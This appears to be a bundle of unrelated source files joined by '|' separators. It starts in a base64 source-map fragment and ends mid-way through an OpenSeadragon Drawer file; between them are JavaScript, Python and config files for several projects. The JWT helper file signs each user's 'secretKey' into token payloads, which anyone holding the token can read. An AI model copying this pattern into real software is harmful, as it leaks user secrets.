dGlvbnMgPSBwdXNoT3B0aW9ucy5xdWV1ZU9wdGlvbnMgfHwge307XG4gIGlmIChwdXNoT3B0aW9ucy5xdWV1ZU9wdGlvbnMpIHtcbiAgICBkZWxldGUgcHVzaE9wdGlvbnMucXVldWVPcHRpb25zO1xuICB9XG5cbiAgLy8gUGFzcyB0aGUgcHVzaCBvcHRpb25zIHRvbyBhcyBpdCB3b3JrcyB3aXRoIHRoZSBkZWZhdWx0XG4gIGNvbnN0IHB1c2hBZGFwdGVyID0gbG9hZEFkYXB0ZXIoXG4gICAgcHVzaE9wdGlvbnMgJiYgcHVzaE9wdGlvbnMuYWRhcHRlcixcbiAgICBQYXJzZVB1c2hBZGFwdGVyLFxuICAgIHB1c2hPcHRpb25zXG4gICk7XG4gIC8vIFdlIHBhc3MgdGhlIG9wdGlvbnMgYW5kIHRoZSBiYXNlIGNsYXNzIGZvciB0aGUgYWRhdHBlcixcbiAgLy8gTm90ZSB0aGF0IHBhc3NpbmcgYW4gaW5zdGFuY2Ugd291bGQgd29yayB0b29cbiAgY29uc3QgcHVzaENvbnRyb2xsZXIgPSBuZXcgUHVzaENvbnRyb2xsZXIoKTtcbiAgY29uc3QgaGFzUHVzaFN1cHBvcnQgPSAhIShwdXNoQWRhcHRlciAmJiBwdXNoKTtcbiAgY29uc3QgaGFzUHVzaFNjaGVkdWxlZFN1cHBvcnQgPSBoYXNQdXNoU3VwcG9ydCAmJiBzY2hlZHVsZWRQdXNoID09PSB0cnVlO1xuXG4gIGNvbnN0IHsgZGlzYWJsZVB1c2hXb3JrZXIgfSA9IHB1c2hRdWV1ZU9wdGlvbnM7XG5cbiAgY29uc3QgcHVzaENvbnRyb2xsZXJRdWV1ZSA9IG5ldyBQdXNoUXVldWUocHVzaFF1ZXVlT3B0aW9ucyk7XG4gIGxldCBwdXNoV29ya2VyO1xuICBpZiAoIWRpc2FibGVQdXNoV29ya2VyKSB7XG4gICAgcHVzaFdvcmtlciA9IG5ldyBQdXNoV29ya2VyKHB1c2hBZGFwdGVyLCBwdXNoUXVldWVPcHRpb25zKTtcbiAgfVxuICByZXR1cm4ge1xuICAgIHB1c2hDb250cm9sbGVyLFxuICAgIGhhc1B1c2hTdXBwb3J0LFxuICAgIGhhc1B1c2hTY2hlZHVsZWRTdXBwb3J0LFxuICAgIHB1c2hDb250cm9sbGVyUXVldWUsXG4gICAgcHVzaFdvcmtlcixcbiAgfTtcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIGdldEF1dGhEYXRhTWFuYWdlcihvcHRpb25zOiBQYXJzZVNlcnZlck9wdGlvbnMpIHtcbiAgY29uc3QgeyBhdXRoLCBlbmFibGVBbm9ueW1vdXNVc2VycyB9ID0gb3B0aW9ucztcbiAgcmV0dXJuIGF1dGhEYXRhTWFuYWdlcihhdXRoLCBlbmFibGVBbm9ueW1vdXNVc2Vycyk7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiBnZXREYXRhYmFzZUFkYXB0ZXIoXG4gIGRhdGFiYXNlVVJJLFxuICBjb2xsZWN0aW9uUHJlZml4LFxuICBkYXRhYmFzZU9wdGlvbnNcbikge1xuICBsZXQgcHJvdG9jb2w7XG4gIHRyeSB7XG4gICAgY29uc3QgcGFyc2VkVVJJID0gdXJsLnBhcnNlKGRhdGFiYXNlVVJJKTtcbiAgICBwcm90b2NvbCA9IHBhcnNlZFVSSS5wcm90b2NvbCA/IHBhcnNlZFVSSS5wcm90b2NvbC50b0xvd2VyQ2FzZSgpIDogbnVsbDtcbiAgfSBjYXRjaCAoZSkge1xuICAgIC8qICovXG4gIH1cbiAgc3dpdGNoIChwcm90b2NvbCkge1xuICAgIGNhc2UgJ3Bvc3RncmVzOic6XG4gICAgICByZXR1cm4gbmV3IFBvc3RncmVzU3RvcmFnZUFkYXB0ZXIoe1xuICAgICAgICB1cmk6IGRhdGFiYXNlVVJJLFxuICAgICAgICBjb2xsZWN0aW9uUHJlZml4LFxuICAgICAgICBkYXRhYmFzZU9wdGlvbnMsXG4gICAgICB9KTtcbiAgICBkZWZhdWx0OlxuICAgICAgcmV0dXJuIG5ldyBNb25nb1N0b3JhZ2VBZGFwdGVyKHtcbiAgICAgICAgdXJpOiBkYXRhYmFzZVVSSSxcbiAgICAgICAgY29sbGVjdGlvblByZWZpeCxcbiAgICAgICAgbW9uZ29PcHRpb25zOiBkYXRhYmFzZU9wdGlvbnMsXG4gICAgICB9KTtcbiAgfVxufVxuIl19
|
/** @typedef {import("..").Incident} Incident */
/**
* Returns the correct incident list for the provided status
*
* @param {'pending' | 'approved' | 'form-responses'} status
* @param {import("..").AllIncidentsState} state
* @returns {Incident[]}
*/
export function selectListByStatus(status, state) {
switch (status) {
case 'pending':
return state.pendingIncidents;
case 'approved':
return state.approvedIncidents;
case 'form-responses':
return state.formResponses;
default:
return null;
}
}
/**
* takes a 'dict' with numbered keys and returns an array
* This is used because some of the DS endpoints send back a dictionary instead of a list
*
* @param {any} dict
* @return {any[]}
*/
function dictionaryToArray(dict) {
if (dict == null) return [];
return Object.values(dict);
}
/**
* Returns a copy of the incident with the 'src' and 'tag' properties as arrays
* This is used because some of the DS endpoints send back a dictionary instead of a list
*
* @export
* @param {any} incident
* @return {Incident}
*/
export function sanitizeFormResponse(incident) {
const safe = {
...incident,
src: dictionaryToArray(incident.src),
tags: dictionaryToArray(incident.tags)
};
return safe;
}
|
import * as THREE from 'three';
const ctx = document.createElement('canvas').getContext('2d');
const Canvas_measureText = function(font, text) {
ctx.font = font;
return ctx.measureText(text);
}
const Array_max = function(array, iteratee) {
if (array.length > 0) {
return array.map(iteratee).reduce((previousValue, currentValue) => Math.max(previousValue, currentValue));
}
}
class TextTexture extends THREE.Texture {
constructor({
autoRedraw = true,
text = '',
fontStyle = 'normal',
fontVariant = 'normal',
fontWeight = 'normal',
fontSize = 16,
fontFamily = 'sans-serif',
textAlign = 'center',
lineHeight = 1.15,
padding = 0.25,
magFilter = THREE.LinearFilter,
minFilter = THREE.LinearFilter,
mapping, wrapS, wrapT, format, type, anisotropy,
} = {}) {
super(document.createElement('canvas'), mapping, wrapS, wrapT, magFilter, minFilter, format, type, anisotropy);
this.autoRedraw = autoRedraw;
this._text = text;
this._fontStyle = fontStyle;
this._fontVariant = fontVariant;
this._fontWeight = fontWeight;
this._fontSize = fontSize;
this._fontFamily = fontFamily;
this._textAlign = textAlign;
this._lineHeight = lineHeight;
this._padding = padding;
/*
this._lines = undefined;
this._font = undefined;
this._textBoxWidth = undefined;
*/
this.redraw();
}
redraw() {
let ctx = this.image.getContext('2d');
ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height);
if (this.textBoxWidthInPixels && this.textBoxHeightInPixels) {
ctx.canvas.width = this.paddingBoxWidthInPixels;
ctx.canvas.height = this.paddingBoxHeightInPixels;
ctx.font = this.font;
ctx.textBaseline = 'middle';
ctx.fillStyle = 'white';
let left;
switch (this.textAlign) {
case 'left':
ctx.textAlign = 'left';
left = this.paddingInPixels;
break;
case 'right':
ctx.textAlign = 'right';
left = this.paddingInPixels + this.textBoxWidthInPixels;
break;
case 'center':
ctx.textAlign = 'center';
left = this.paddingInPixels + this.textBoxWidthInPixels / 2;
break;
default:
ctx.textAlign = 'left';
left = this.paddingInPixels;
break;
}
let top = this.paddingInPixels + this.fontSize / 2;
this.lines.forEach(line => {
ctx.fillText(line, left, top);
top += this.lineHeightInPixels;
});
} else {
ctx.canvas.width = ctx.canvas.height = 1;
}
this.needsUpdate = true;
}
_redrawIfAuto() {
if (this.autoRedraw) {
this.redraw();
}
}
get text() {
return this._text;
}
set text(value) {
if (this._text !== value) {
this._text = value;
this._lines = undefined;
this._textBoxWidth = undefined;
this._redrawIfAuto();
}
}
_computeLines() {
if (this.text) {
return this.text.split('\n');
}
return [];
}
get lines() {
if (this._lines === undefined) {
this._lines = this._computeLines();
}
return this._lines;
}
get linesCount() {
return this.lines.length;
}
get fontStyle() {
return this._fontStyle;
}
set fontStyle(value) {
if (this._fontStyle !== value) {
this._fontStyle = value;
this._font = undefined;
this._textBoxWidth = undefined;
this._redrawIfAuto();
}
}
get fontVariant() {
return this._fontVariant;
}
set fontVariant(value) {
if (this._fontVariant !== value) {
this._fontVariant = value;
this._font = undefined;
this._textBoxWidth = undefined;
this._redrawIfAuto();
}
}
get fontWeight() {
return this._fontWeight;
}
set fontWeight(value) {
if (this._fontWeight !== value) {
this._fontWeight = value;
this._font = undefined;
this._textBoxWidth = undefined;
this._redrawIfAuto();
}
}
get fontSize() {
return this._fontSize;
}
set fontSize(value) {
if (this._fontSize !== value) {
this._fontSize = value;
this._font = undefined;
this._textBoxWidth = undefined;
this._redrawIfAuto();
}
}
get fontFamily() {
return this._fontFamily;
}
set fontFamily(value) {
if (this._fontFamily !== value) {
this._fontFamily = value;
this._font = undefined;
this._textBoxWidth = undefined;
this._redrawIfAuto();
}
}
_computeFont() {
return [
this.fontStyle,
this.fontVariant,
this.fontWeight,
`${this.fontSize}px`,
this.fontFamily,
].join(' ');
}
get font() {
if (this._font === undefined) {
this._font = this._computeFont();
}
return this._font;
}
get textAlign() {
return this._textAlign;
}
set textAlign(value) {
if (this._textAlign !== value) {
this._textAlign = value;
this._redrawIfAuto();
}
}
get lineHeight() {
return this._lineHeight;
}
set lineHeight(value) {
if (this._lineHeight !== value) {
this._lineHeight = value;
this._redrawIfAuto();
}
}
get lineHeightInPixels() {
return this.fontSize * this.lineHeight;
}
_computeTextWidthInPixels() {
if (this.lines.length) {
return Array_max(this.lines, line => Canvas_measureText(this.font, line).width);
}
return 0;
}
get textBoxWidthInPixels() {
if (this._textBoxWidth === undefined) {
this._textBoxWidth = this._computeTextWidthInPixels();
}
return this._textBoxWidth;
}
get textBoxHeight() {
return this.lineHeight * (this.linesCount - 1) + 1;
}
get textBoxHeightInPixels() {
return this.fontSize * this.textBoxHeight;
}
get padding() {
return this._padding;
}
set padding(value) {
if (this._padding !== value) {
this._padding = value;
this._redrawIfAuto();
}
}
get paddingInPixels() {
return this.fontSize * this.padding;
}
get paddingBoxWidthInPixels() {
return this.textBoxWidthInPixels + 2 * this.paddingInPixels;
}
get paddingBoxHeight() {
return this.textBoxHeight + 2 * this.padding;
}
get paddingBoxHeightInPixels() {
return this.textBoxHeightInPixels + 2 * this.paddingInPixels;
}
get aspect() {
if (this.image.width && this.image.height) {
return this.image.width / this.image.height;
}
return 1;
}
};
export default TextTexture;
|
const localLogger = require('../logger/')();
/**
* Checks if the accessDenied callback or error text responded to an event
* If so, log an error
* Returns true or false in case the calling function needs to do more gating
* Currently this function is only used to check permission results.
* @param {*} response
*/
const checkAndLogAccessDenied = (response) => {
if (typeof response === 'object' && response && response.error) {
console.log('Warning:', response.message);
localLogger.warn('Warning:', response.message);
return true;
} if (typeof response === 'string' && response.includes('api_access_denied')) {
console.log('Warning:', response);
localLogger.warn('Warning:', response);
return true;
}
return false;
};
/**
* Function that returns an accessDenied error callback or string including the passed in method name
* @param {object} methodName
* @param {*} cb
*/
const accessDenied = (methodName, cb = null) => {
const errorText = `api_access_denied: Access to API method ${methodName} denied.`;
if (cb && typeof cb === 'function') {
return cb({ error: 'api_access_denied', message: errorText });
}
return errorText;
};
module.exports = {
checkAndLogAccessDenied,
accessDenied
}
|
# Copyright 2020 The Merlin Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
VERSION = "0.16.0"
|
read page
|
"""
Classe Jogo que tem a responsabilidade de representar um jogo do mundo real
"""
class Jogo(object):
"""
construtor da classe com os seguintes parâmetros
nomeJogo : string,
categoria : string,
idadeMinima: número,
imagem : string,
descricao: string
"""
def __init__(self,codigo = 0, nomeJogo = "", categoria="", idadeMinima=0, imagem="",descricao=""):
super().__init__()
#atributos da classe Jogo são privados
self.__codigo = codigo
self.__nomeJogo = nomeJogo
self.__categoria = categoria
self.__idadeMinima = idadeMinima
self.__imagem = imagem
self.__descricao = descricao
#Métodos que irão proporcionar o acesso aos atributos da classe
#Ou seja, métodos get e set
#get e set para o codigo do jogo
@property
def codigo(self):
return self.__codigo
@codigo.setter
def codigo(self, novoCodigo):
self.__codigo = novoCodigo
#get e set para o nome do jogo
@property
def nomeJogo(self):
return self.__nomeJogo
@nomeJogo.setter
def nomeJogo(self, novoNome):
self.__nomeJogo = novoNome
#get e set para a categoria
@property
def categoria(self):
return self.__categoria
@categoria.setter
def categoria(self, novaCategoria):
self.__categoria = novaCategoria
#get e set para a idadeMinima
@property
def idadeMinima(self):
return self.__idadeMinima
@idadeMinima.setter
def idadeMinima(self, novaIdadeMinima):
self.__idadeMinima = novaIdadeMinima
#get e set para a imagem
@property
def imagem(self):
return self.__imagem
@imagem.setter
def imagem(self, novaImagem):
self.__imagem = novaImagem
#get e set para a descrição
@property
def descricao(self):
return self.__descricao
@descricao.setter
def descricao(self, novaDescricao):
self.__descricao = novaDescricao
def __str__(self):
return "\nCodigo: " + str(self.__codigo) + \
"\nJogo: " + self.__nomeJogo + \
"\nCategoria: " + self.__categoria + \
"\nIdade Mínima: " + str(self.__idadeMinima) + \
"\nLocalização da Imagem: " + self.__imagem + \
"\nDescrição: " + self.__descricao + "\n"
|
import jwt from 'jsonwebtoken';
/**
* @typedef {Object<string, any>} Profile
* @typedef {{
* id: string, uniqueId: string, email: string, fullname: string
* phone: string, level: string, secretKey:string
* }} UserData
*
* @typedef {{
* id: string, uniqueId: string, email: string,
* phone: string, accountType: string, secretKey:string
* Profile: Profile
* }} AdminData
*/
/**
* @description Method to generate a token
* @param {AdminData} Data data used to generate the token
*
* @returns {string} Returns the generated token
*/
const generateUserAuthToken = ({
id,
uniqueId,
email,
Profile,
phone,
accountType,
secretKey,
}) => {
try {
const {
isAdmin,
userId,
id: ID,
updatedAt,
createdAt,
...rest
} = Profile.toJSON();
return jwt.sign(
{
id,
uniqueId,
Profile: rest,
email,
phone,
accountType,
secretKey,
},
process.env.JWT_SECRET,
{
expiresIn: '10d',
},
);
} catch (error) {
throw new Error(error);
}
};
/**
* @description Method to generate a token
* @param {UserData} Data data used to generate the token
*
* @returns {string} Returns the generated token
*/
const generateAdminAuthToken = ({
id,
uniqueId,
fullname,
phone,
email,
level,
secretKey,
}) => {
try {
return jwt.sign(
{
id,
uniqueId,
fullname,
phone,
email,
level,
secretKey,
},
process.env.JWT_SECRET,
{
expiresIn: '10d',
},
);
} catch (error) {
throw new Error(error);
}
};
export { generateUserAuthToken, generateAdminAuthToken };
|
'use strict';
const Prompt = require('../prompt');
const { isPrimitive, hasColor } = require('../utils');
class BooleanPrompt extends Prompt {
constructor(options) {
super(options);
this.cursorHide();
}
async initialize() {
let initial = await this.resolve(this.initial, this.state);
this.input = await this.cast(initial);
await super.initialize();
}
dispatch(ch) {
if (!this.isValue(ch)) return this.alert();
this.input = ch;
return this.submit();
}
format(value) {
let { styles, state } = this;
return !state.submitted ? styles.primary(value) : styles.success(value);
}
cast(value) {
return this.isTrue(value);
}
isTrue(value) {
return /^[ty1]/i.test(value);
}
isFalse(value) {
return /^[fn0]/i.test(value);
}
async hint() {
if (this.state.status === 'pending') {
let hint = await this.element('hint');
if (!hasColor(hint)) {
return this.styles.muted(hint);
}
return hint;
}
}
isValue(value) {
return isPrimitive(value) && (this.isTrue(value) || this.isFalse(value));
}
async render() {
let { input, size } = this.state;
let prefix = await this.prefix();
let sep = await this.separator();
let msg = await this.message();
let hint = this.styles.muted(this.default);
let promptLine = [prefix, msg, hint, sep].filter(Boolean).join(' ');
this.state.prompt = promptLine;
let header = await this.header();
let value = this.value = this.cast(input);
let output = await this.format(value);
let help = (await this.error()) || (await this.hint());
let footer = await this.footer();
if (help && !promptLine.includes(help)) output += ' ' + help;
promptLine += ' ' + output;
this.clear(size);
this.write([header, promptLine, footer].filter(Boolean).join('\n'));
this.restore();
}
set value(value) {
super.value = value;
}
get value() {
return this.cast(super.value);
}
}
module.exports = BooleanPrompt;
|
module.exports = {
preset: 'jest-expo',
setupFilesAfterEnv: ['./jest.setup.js'],
transformIgnorePatterns: [
'node_modules/(?!((jest-)?react-native|@react-native(-community)?)|expo(nent)?|@expo(nent)?/.*|@expo-google-fonts/.*|react-navigation|@react-navigation/.*|@unimodules/.*|unimodules|sentry-expo|native-base|react-native-svg)',
],
}
|
import React, { useState } from 'react';
import PropTypes from 'prop-types';
import { Provider } from './createContext';
// const LocalStorage = typeof window !== 'undefined' && window.localStorage;
// The provider, which holds the page-wide store and its actions.
// Feel free to abstract actions and state away from this file.
const AppProvider = props => {
// const [darkMode, setDarkMode] = useState(
// // LocalStorage.getItem('darkMode') === 'true'
// false
// );
const [open, setOpen] = useState(false);
const showModal = () => setOpen(true);
const hideModal = () => setOpen(false);
// useEffect(() => {
// setDarkMode(LocalStorage.getItem('darkMode') === 'true');
// }, [LocalStorage.getItem('darkMode')]);
return (
<Provider value={{ open, showModal, hideModal }}>{props.children}</Provider>
);
};
AppProvider.propTypes = {
children: PropTypes.node.isRequired,
};
export default AppProvider;
|
"""Verify that the PyTorch power normalization works.
"""
__author__ = "Bryse Flowers <brysef@vt.edu>"
# External Includes
from itertools import product
import numpy as np
import torch
from unittest import TestCase
# Internal Includes
from rfml.nn.layers import PowerNormalization
class TestPowerNormalization(TestCase):
def test_operation(self):
"""Verify that all signals going through this layer have unit power.
"""
n_trials = int(10) # Somewhat expensive because of the batch dimension
normalize = PowerNormalization()
def _get_input(num):
# Generate random parameters for the signal
fc = np.random.lognormal()
a = np.random.lognormal()
# Create a complex valued sine wave using numpy
t = np.linspace(0.0, 100.0, num=num) # Time
s = a * np.exp(2 * np.pi * 1j * fc * t) # Output is complex
iq = np.stack((s.real, s.imag))
# Convert the numpy array to a tensor, adding in batch/channel
x = torch.tensor(iq.astype(np.float32))
x.unsqueeze_(dim=0)
x.unsqueeze_(dim=0)
return x
def _get_batched_inputs():
# Create a random number of examples int he batch dimension
# and a random length signal input -- it should work over all
b = np.random.randint(128, 1024 + 1)
num = np.random.randint(128, 2048 + 1)
x = torch.zeros(b, 1, 2, num)
for i in range(b):
x[i, :, :, :] = _get_input(num=num)
return x
def _get_power(x):
# Convert from PyTorch back to a complex valued array
# B x C x IQ x T
x = x.numpy()
# Calculate the power of each channel of each example
power = np.zeros((x.shape[0], x.shape[1]))
for b, c in product(range(x.shape[0]), range(x.shape[1])):
iq = x[b, c, :, :]
s = iq[0, :] + 1j * iq[1, :]
power[b, c] = np.mean(np.abs(s) ** 2)
return power
for _ in range(n_trials):
x = _get_batched_inputs()
before = x.shape
x = normalize(x)
after = x.shape
# Verify the normalization operation didn't change the shape
self.assertEqual(before, after)
# Verify that all examples have unit power
power = _get_power(x)
for b, c in product(range(power.shape[0]), range(power.shape[1])):
self.assertAlmostEqual(power[b, c], 1.0, places=3)
def test_invalidinputs(self):
"""Verify that the layer protects itself against bad inputs.
"""
normalize = PowerNormalization()
# No batch/channel dimension
with self.assertRaises(ValueError):
normalize(torch.zeros(2, 1024))
# No batch dimension
with self.assertRaises(ValueError):
normalize(torch.zeros(1, 2, 1024))
# Incorrect IQ dimension
with self.assertRaises(ValueError):
normalize(torch.zeros(100, 1, 1, 1024))
|
from __future__ import (absolute_import, division,
print_function, unicode_literals)
from builtins import *
from app import app
@app.route('/custom_views')
def index():
return 'hello cust'
|
"""
Annalist record field description
"""
from __future__ import unicode_literals
from __future__ import absolute_import, division, print_function
__author__ = "Graham Klyne (GK@ACM.ORG)"
__copyright__ = "Copyright 2014, G. Klyne"
__license__ = "MIT (http://opensource.org/licenses/MIT)"
import logging
log = logging.getLogger(__name__)
import os
import os.path
import shutil
from django.conf import settings
from annalist import layout
from annalist.identifiers import ANNAL, RDFS
from annalist.models.entity import Entity
from annalist.models.entitydata import EntityData
from annalist.models.recordgroup import RecordGroup, RecordGroup_migration
from annalist.util import (
split_type_entity_id, extract_entity_id, make_type_entity_id
)
from annalist.exceptions import Annalist_Error
class RecordField(EntityData):
_entitytype = ANNAL.CURIE.Field
_entitytypeid = layout.FIELD_TYPEID
_entityroot = layout.COLL_FIELD_PATH
_entityview = layout.COLL_FIELD_VIEW
_entityfile = layout.FIELD_META_FILE
def __init__(self, parent, field_id):
"""
Initialize a new RecordField object, without metadta (yet).
parent is the parent collection to which the field belongs.
field_id the local identifier for the record field
"""
# assert altparent, "RecordField instantiated with no altparent"
super(RecordField, self).__init__(parent, field_id)
self._parent = parent
# log.debug("RecordField %s"%(field_id))
return
def get_property_uri(self):
"""
Return field's property URI
"""
return self.get(ANNAL.CURIE.property_uri, "@@undefined_property_uri@@")
def _migrate_filenames(self):
"""
Override EntityData method
"""
return None
def _map_entity_field_enum_val(self, entitydata, key, type_id, old_enum_val, new_enum_val):
"""
Map enumerated value of specified type
"""
if key in entitydata:
type_id_here, enum_val_here = split_type_entity_id(entitydata[key])
if type_id_here == type_id and enum_val_here == old_enum_val:
entitydata[key] = make_type_entity_id(type_id, new_enum_val)
return entitydata
def _migrate_values(self, entitydata):
"""
Field description entity format migration method.
The specification for this method is that it returns an entitydata value
which is a copy of the supplied entitydata with format migrations applied.
NOTE: implementations are free to apply migrations in-place. The resulting
entitydata should be exactly as the supplied data *should* appear in storage
to conform to the current format of the data. The migration function should
be idempotent; i.e.
x._migrate_values(x._migrate_values(e)) == x._migrate_values(e)
"""
field_id = entitydata[ANNAL.CURIE.id]
migration_map = (
[ (ANNAL.CURIE.options_typeref, ANNAL.CURIE.field_ref_type )
, (ANNAL.CURIE.restrict_values, ANNAL.CURIE.field_ref_restriction)
, (ANNAL.CURIE.target_field, ANNAL.CURIE.field_ref_field )
, (ANNAL.CURIE.field_target_type, ANNAL.CURIE.field_value_type )
])
entitydata = self._migrate_values_map_field_names(migration_map, entitydata)
# Fix up enumerated values to use new enumeration type names
field_enum_types = (
[ (ANNAL.CURIE.field_render_type, "_enum_render_type")
, (ANNAL.CURIE.field_value_mode, "_enum_value_mode")
])
for fkey, ftype in field_enum_types:
if fkey in entitydata and entitydata[fkey]:
entitydata[fkey] = make_type_entity_id(
ftype, extract_entity_id(entitydata[fkey])
)
# If comment and no tooltip, create tooltip and update comment
if (RDFS.CURIE.comment in entitydata) and (ANNAL.CURIE.tooltip not in entitydata):
label = entitydata.get(RDFS.CURIE.label, "Field '%s'"%field_id)
comment = entitydata[RDFS.CURIE.comment]
entitydata[ANNAL.CURIE.tooltip] = comment
entitydata[RDFS.CURIE.comment] = "# %s\r\n\r\n%s"%(label, comment)
# If reference to field group, copy group field list inline
if ANNAL.CURIE.group_ref in entitydata:
group_type_id, group_id = split_type_entity_id(
entitydata[ANNAL.CURIE.group_ref], default_type_id=layout.GROUP_TYPEID
)
if group_id != "":
log.info("Migrating group reference %s in field %s"%(group_id, field_id))
group_obj = RecordGroup_migration.load(self._parent, group_id)
if not group_obj:
msg = (
"Failed to load group '%s' for field '%s' in collection '%s'"%
(group_id, field_id, self._parent.get_id())
)
log.warning(msg)
self.set_error(msg)
# raise Annalist_Error(msg)
else:
field_value_type = entitydata[ANNAL.CURIE.field_value_type]
group_entity_type = group_obj[ANNAL.CURIE.group_entity_type]
if field_value_type and group_entity_type and field_value_type != group_entity_type:
log.warning(
"Group %s entity type %s differs from field %s value type %s"%
(group_id, group_entity_type, field_id, field_value_type)
)
entitydata[ANNAL.CURIE.field_fields] = group_obj[ANNAL.CURIE.group_fields]
del entitydata[ANNAL.CURIE.group_ref]
# Default render type to "Text"
if ANNAL.CURIE.field_render_type not in entitydata:
entitydata[ANNAL.CURIE.field_render_type] = "_enum_render_type/Text"
# Migrate changed render type names
entitydata = self._map_entity_field_enum_val(
entitydata, ANNAL.CURIE.field_render_type, "_enum_render_type",
"RepeatGroup", "Group_Seq"
)
entitydata = self._map_entity_field_enum_val(
entitydata, ANNAL.CURIE.field_render_type, "_enum_render_type",
"RepeatGroupRow", "Group_Seq_Row"
)
entitydata = self._map_entity_field_enum_val(
entitydata, ANNAL.CURIE.field_render_type, "_enum_render_type",
"Slug", "EntityRef"
)
# Calculate mode from other fields if not defined
val_render = entitydata[ANNAL.CURIE.field_render_type]
ref_type = entitydata.get(ANNAL.CURIE.field_ref_type, None)
ref_field = entitydata.get(ANNAL.CURIE.field_ref_field, None)
if ANNAL.CURIE.field_value_mode in entitydata:
val_mode = entitydata[ANNAL.CURIE.field_value_mode]
else:
val_mode = "Value_direct"
if ref_type and ref_field:
val_mode = "Value_field"
elif val_render == "RefMultifield":
val_mode = "Value_entity"
elif val_render == "URIImport":
val_mode = "Value_import"
elif val_render == "FileUpload":
val_mode = "Value_upload"
entitydata[ANNAL.CURIE.field_value_mode] = val_mode
# Consistency checks
if val_mode == "Value_field":
if ( not (ref_type and ref_field) ):
log.warning(
"RecordField %s: val_mode 'Value_field' requires values for %s and %s"%
(field_id, ANNAL.CURIE.field_ref_type, ANNAL.CURIE.field_ref_field)
)
elif val_mode == "Value_entity":
if not ref_type:
log.warning(
"RecordField %s: val_mode 'Value_entity' requires value for %s"%
(field_id, ANNAL.CURIE.field_ref_type)
)
if ref_field:
log.warning(
"RecordField %s: val_mode 'Value_entity' should not define value for %s"%
(field_id, ANNAL.CURIE.field_ref_field)
)
# Return result
return entitydata
def _pre_save_processing(self, entitydata):
"""
Pre-save value processing.
This method is called just before a value is saved to fill in or update
any values that were not specified in the form input.
The specification for this method is that it returns an entitydata value
which is a copy of the supplied entitydata with any data updates applied.
NOTE: implementations are free to apply updates in-place. The resulting
entitydata should be exactly as the supplied data *should* appear in storage.
The update function should be idempotent; i.e.
x._pre_save_processing(x._pre_save_processing(e)) == x._pre_save_processing(e)
"""
if not entitydata.get(ANNAL.CURIE.property_uri, None):
entitydata[ANNAL.CURIE.property_uri] = entitydata[ANNAL.CURIE.id]
return entitydata
def _post_update_processing(self, entitydata, post_update_flags):
"""
Post-update processing.
This method is called when a RecordField entity has been created or updated.
It invokes the containing collection method to regenerate the JSON LD context
for the collection to which the field belongs.
"""
self._parent.cache_add_field(self)
self._parent.generate_coll_jsonld_context(flags=post_update_flags)
return entitydata
def _post_remove_processing(self, post_update_flags):
"""
Post-remove processing.
This method is called when a RecordField entity has been removed.
"""
self._parent.cache_remove_field(self.get_id())
return
# End.
|
const { environment } = require('@rails/webpacker')
const webpack = require("webpack")
environment.plugins.append("Provide", new webpack.ProvidePlugin({
$: 'jquery',
jQuery: 'jquery',
Popper: ['popper.js', 'default']
}))
module.exports = environment
|
/*
* OpenSeadragon - Drawer
*
* Copyright (C) 2009 CodePlex Foundation
* Copyright (C) 2010-2013 OpenSeadragon contributors
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither the name of CodePlex Foundation nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
(function( $ ){
/**
* @class Drawer
* @memberof OpenSeadragon
* @classdesc Handles rendering of tiles for an {@link OpenSeadragon.Viewer}.
* @param {Object} options - Options for this Drawer.
* @param {OpenSeadragon.Viewer} options.viewer - The Viewer that owns this Drawer.
* @param {OpenSeadragon.Viewport} options.viewport - Reference to Viewer viewport.
* @param {Element} options.element - Parent element.
* @param {Number} [options.debugGridColor] - See debugGridColor in {@link OpenSeadragon.Options} for details.
*/
$.Drawer = function( options ) {
$.console.assert( options.viewer, "[Drawer] options.viewer is required" );
//backward compatibility for positional args while preferring more
//idiomatic javascript options object as the only argument
var args = arguments;
if( !$.isPlainObject( options ) ){
options = {
source: args[ 0 ], // Reference to Viewer tile source.
viewport: args[ 1 ], // Reference to Viewer viewport.
element: args[ 2 ] // Parent element.
};
}
$.console.assert( options.viewport, "[Drawer] options.viewport is required" );
$.console.assert( options.element, "[Drawer] options.element is required" );
if ( options.source ) {
$.console.error( "[Drawer] options.source is no longer accepted; use TiledImage instead" );
}
this.viewer = options.viewer;
this.viewport = options.viewport;
this.debugGridColor = typeof options.debugGridColor === 'string' ? [options.debugGridColor] : options.debugGridColor || $.DEFAULT_SETTINGS.debugGridColor;
if (options.opacity) {
$.console.error( "[Drawer] options.opacity is no longer accepted; set the opacity on the TiledImage instead" );
}
this.useCanvas = $.supportsCanvas && ( this.viewer ? this.viewer.useCanvas : true );
/**
* The parent element of this Drawer instance, passed in when the Drawer was created.
